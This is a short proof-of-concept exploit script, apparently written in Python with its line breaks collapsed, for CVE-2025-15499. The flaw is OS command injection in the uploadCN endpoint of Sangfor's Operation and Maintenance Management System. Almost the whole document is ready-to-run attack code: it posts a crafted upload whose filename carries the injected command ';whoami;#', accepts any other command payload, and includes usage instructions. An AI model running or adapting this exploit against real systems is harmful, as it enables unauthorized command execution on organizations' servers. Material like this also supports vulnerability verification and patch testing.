CVE-2025-15499 Sangfor运维管理系统VersionController.java命令注入漏洞

import requests import sys # CVE-2025-15499 PoC - Sangfor Operation and Maintenance Management System Command Injection # Target: Sangfor Operation and Maintenance Management System <= 3.0.8 # Vulnerability: OS Command Injection in VersionController.java uploadCN function def exploit(target_url, filename_payload): """ Exploit CVE-2025-15499 by injecting OS commands into filename parameter Args: target_url: Base URL of the vulnerable application filename_payload: Malicious filename with command injection Returns: Response from the server """ endpoint = f"{target_url}/api/version/uploadCN" files = { 'filename': (filename_payload, 'test content', 'text/plain') } try: response = requests.post(endpoint, files=files, timeout=10) return response except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return None def main(): if len(sys.argv) < 2: print("Usage: python cve_2025_15499.py <target_url>") print("Example: python cve_2025_15499.py http://192.168.1.100:8080") sys.exit(1) target = sys.argv[1].rstrip('/') # Test basic command injection - whoami payload = ";whoami;#" print(f"[*] Testing CVE-2025-15499 on {target}") print(f"[*] Payload: {payload}") response = exploit(target, payload) if response and response.status_code == 200: print(f"[+] Request sent successfully") print(f"[+] Response status: {response.status_code}") if response.text: print(f"[+] Response: {response.text[:500]}") else: print("[-] Exploitation may have failed or target is not vulnerable") if __name__ == "__main__": main()